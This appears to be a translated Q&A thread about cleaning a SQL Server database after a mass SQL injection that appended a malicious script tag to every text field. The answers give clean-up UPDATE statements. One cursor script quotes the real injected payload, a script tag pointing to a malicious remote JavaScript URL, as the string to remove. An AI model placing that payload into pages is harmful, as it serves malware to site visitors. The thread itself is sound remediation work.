SQL注入后清理的最佳方法是什么?

时间:2008-08-28 14:29:59

标签: sql sql-server database security

我的任务是维护一个最近成为SQL注入攻击受害者的非营利性网站。有人利用网站上的表单将文本添加到数据库中的每个可用的类文本字段(varchar,nvarchar等),当呈现为HTML时,包括并执行JavaScript文件。

谷歌搜索网址表明它来自罗马尼亚或中国以外的电子邮件垃圾邮件发送者,但这不是现在重要的。

我经历过手动删除网站上大多数可见和热门网页上呈现的文本字段中的信息,但我很好奇从其他文本字段中删除文本的最佳编程方式在网站上。

显然还有更多需要做的事情(加强网站反对SQL注入,使用降价而不是存储HTML等)并且我正在研究这些但是暂时我真正需要的是一个好方法进入并以编程方式删除注入的文本。我知道确切的文本是什么,每次都是一样的,并且它总是附加到任何文本字段的末尾。我不能在这个时候删除数据库中的所有HTML,我不知道什么时候发生这种情况,所以我不能回滚到备份。此外,该站点位于共享主机上,我无法使用SQL Server工具直接连接到数据库。我可以对它执行查询,所以如果有任何方法可以构建一个SQL更新语句,以便“找到整个数据库中所有表中的所有文本字段并执行此操作以清除它们”,那将是最好。

4 个答案:

答案 0 :(得分:5)

从最近的备份中恢复数据。

答案 1 :(得分:2)

我是受害者,你可以用它来清理

UPDATE Table 
SET TextField = SUBSTRING(TextField, 1, CHARINDEX('</title', TextField) - 1)
WHERE (ID IN (SELECT ID FROM Table WHERE (CHARINDEX('</title', Textfield, 1) > 0)))

答案 2 :(得分:1)

假设您已经成为与其他所有人相同攻击的受害者,那么SQLMenace的代码就很接近了。但是,该攻击使用了许多不同的脚本URL,因此您必须对其进行自定义以确保它与您在数据库中看到的URL匹配。

I wrote about it as well,我的解决方案代码包含更通用的清理。

重要的一点是,您需要做的第一件事是取消网站。现在,您正在积极向您的用户提供恶意软件,这可能会让您在以后获得法律解决方案。建立一个占位符页面,这样您的用户就不会陷入黑暗,但不会继续提供恶意软件。然后你可以修复网站,以确保它不再容易注射。对此特定攻击执行的最简单方法是仅为您的Web用户禁用sysobjects / syscolumns权限,但您也需要进行更彻底的清理,或者只是时间问题直到你再次破裂然后,您可以使用提供的代码清理网站并将其重新播放。

答案 3 :(得分:0)

这将颠倒这一点,同样明智的做法是将sysobject权限从您的网站运行的用户名中移除,并清理当然的输入

DECLARE @T VARCHAR(255),@C VARCHAR(4000) 
DECLARE Table_Cursor CURSOR FOR 
SELECT  a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype='u' and
(b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) 
OPEN Table_Cursor 
FETCH NEXT FROM  Table_Cursor INTO @T,@C 
WHILE(@@FETCH_STATUS=0) 
BEGIN 
EXEC('if exists (select 1 from ['+@T+'] where ['+@C+']  like ''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'') begin print ''update ['+@T+'] set ['+@C+']=replace(['+@C+'],''''"></title><script src="http://1.verynx.cn/w.js"></script><!--'''','''''''') where ['+@C+']  like ''''%"></title><script src="http://1.verynx.cn/w.js"></script><!--'''''' end')
FETCH NEXT FROM Table_Cursor INTO @T,@C 
END 
CLOSE Table_Cursor 
DEALLOCATE Table_Cursor

我在这里写了一段时间:Microsoft Has Released Tools To Address SQL Injection Attacks